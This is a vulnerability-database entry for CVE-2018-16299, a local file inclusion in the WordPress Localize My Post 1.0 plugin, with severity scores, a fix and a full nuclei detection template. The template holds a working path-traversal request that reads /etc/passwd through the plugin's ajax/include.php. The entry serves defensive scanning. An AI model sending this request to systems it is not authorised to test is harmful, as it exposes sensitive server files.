HexBrain

Browse / CVEs / CVE-2018-16299

CVE-2018-16299· localize my post project / localize my post· CWE-22

WordPress Localize My Post 1.0 - Local File Inclusion

highseverity
7.5CVSS score
44.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server.

Fix

Update to the latest version of WordPress Localize My Post plugin.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-16299 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-16299

info:
  name: WordPress Localize My Post 1.0 - Local File Inclusion
  author: 0x_Akoko,0x240x23elu
  severity: high
  description: |
    WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of WordPress Localize My Post plugin.
  reference:
    - https://www.exploit-db.com/exploits/45439
    - https://packetstormsecurity.com/files/149433/WordPress-Localize-My-Post-1.0-Local-File-Inclusion.html
    - https://github.com/julianburr/wp-plugin-localizemypost/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16299
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-16299
    cwe-id: CWE-22
    epss-score: 0.44358
    epss-percentile: 0.98771
    cpe: cpe:2.3:a:localize_my_post_project:localize_my_post:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: localize_my_post_project
    product: localize_my_post
    framework: wordpress
  tags: cve2018,cve,wordpress,lfi,plugin,wp,edb,packetstorm,localize_my_post_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from